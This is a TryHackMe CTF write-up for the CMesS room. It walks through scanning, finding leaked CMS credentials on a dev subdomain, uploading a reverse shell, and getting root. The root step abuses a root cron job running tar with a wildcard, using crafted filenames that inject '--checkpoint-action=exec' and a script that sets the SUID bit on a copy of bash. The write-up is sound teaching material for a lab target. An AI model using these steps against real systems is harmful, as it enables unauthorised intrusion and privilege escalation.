Post

TryHackMe - CMesS


Description

Hello hackers, I hope you are doing well. We are doing CMesS from TryHackMe. The target is running a web server on port 80, we enumerate for subdomains and discover on where we find credentials for the CMS running on the web server. After that we use an upload feature in the CMS to upload a reverse shell and get access to the target machine. There we find a file that has password of a user in the machine. We switch to that user and find out there is a cronjob running backing up the content of a directory using wildcard, we exploit that to get root.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.10.186.13
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two open ports, port 22 running OpenSSH and port 80 running Apache web server.

Before we continue, let’s add cmess.thm to our /etc/hosts file.

Web

Let’s check the webpage.

We see tha Gila CMS is used on the web server. Let’s run a directory scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
└─$ cat scans/gobuster                                                                                                                                [9/762]
===============================================================                                                                                              
Gobuster v3.1.0                                                                                                                                              
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                
===============================================================                                                                                              
[+] Url:                     http://cmess.thm                  
[+] Method:                  GET
[+] Threads:                 10                                               
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404   
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/22 05:31:01 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/0                    (Status: 200) [Size: 3851]
/01                   (Status: 200) [Size: 4078]
/1                    (Status: 200) [Size: 4078]
/1x1                  (Status: 200) [Size: 4078]
/about                (Status: 200) [Size: 3353]
/About                (Status: 200) [Size: 3339]
/admin                (Status: 200) [Size: 1580]
/api                  (Status: 200) [Size: 0]   
/assets               (Status: 301) [Size: 318] [--> http://cmess.thm/assets/?url=assets]
/author               (Status: 200) [Size: 3590]                                          
/blog                 (Status: 200) [Size: 3851]                                          
/category             (Status: 200) [Size: 3862]                                          
/cm                   (Status: 500) [Size: 0]                                             
/feed                 (Status: 200) [Size: 735]                                           
/fm                   (Status: 200) [Size: 0]                                             
/index                (Status: 200) [Size: 3851]                                          
/Index                (Status: 200) [Size: 3851]                                          
/lib                  (Status: 301) [Size: 312] [--> http://cmess.thm/lib/?url=lib]      
/log                  (Status: 301) [Size: 312] [--> http://cmess.thm/log/?url=log]      
/login                (Status: 200) [Size: 1580]                                          
/robots.txt           (Status: 200) [Size: 65]
/search               (Status: 200) [Size: 3851]                                         
/Search               (Status: 200) [Size: 3851]                                         
/server-status        (Status: 403) [Size: 274]                                          
/sites                (Status: 301) [Size: 316] [--> http://cmess.thm/sites/?url=sites]  
/src                  (Status: 301) [Size: 312] [--> http://cmess.thm/src/?url=src]      
/tag                  (Status: 200) [Size: 3874]                                         
/tags                 (Status: 200) [Size: 3139]                                         
/themes               (Status: 301) [Size: 318] [--> http://cmess.thm/themes/?url=themes]
/tmp                  (Status: 301) [Size: 312] [--> http://cmess.thm/tmp/?url=tmp]      
===============================================================

We found an admin directory, a robots.txt as well as other things.

Let’s scan for subdomains.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" --fw 522

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://cmess.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.cmess.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 522
________________________________________________

dev                     [Status: 200, Size: 934, Words: 191, Lines: 31, Duration: 4570ms]
:: Progress: [4989/4989] :: Job [1/1] :: 161 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

Found dev subdomain, let’s add it to our /etc/hosts file: dev.cmess.thm

Here we can see a conversation between the site’s developers, and we find an email address and a password.

Let’s navigate to the admin page at http://cmess.thm/admin .

Let’s login with the credentials we got.

Now we’re in the admin panel.

Foothold

If we go the Content -> File Manager we see that we can upload file.

I decided to upload this reverse shell.

After the upload, the file will be saved in assets.

Now we set up a listener and request the file to get a reverse shell.

Privilege Escalation

Checking different directories and file in the machine, we come across this file in /opt directory.

With andre’s password, let’s switch to him.

In andre’s home directory, we find a directory named backup with a note in it stating that everything in the directory will be backed up. If we check /etc/crontab file, we find this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
andre@cmess:~/backup$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

Every two minutes, the command cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz * gets executed by root.

The bad thing about this command is that it uses tar with a wildcard *, and this can be leveraged to get root.

I faced the same senario in a room called skynet, you can check my writeup where we exploited tar to get root.

First, let’s create a shell script that adds suid bit to bash so that we can execute as root and get a shell.

1
andre@cmess:~/backup$ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh

Next we need to create the two following files:

1
2
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh"
andre@cmess:~/backup$ echo "" > --checkpoint=1

Now we wait a bit, and check the /tmp directory to find the bash binary with suid bit. We enter /tmp/bash -p to get a root shell.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.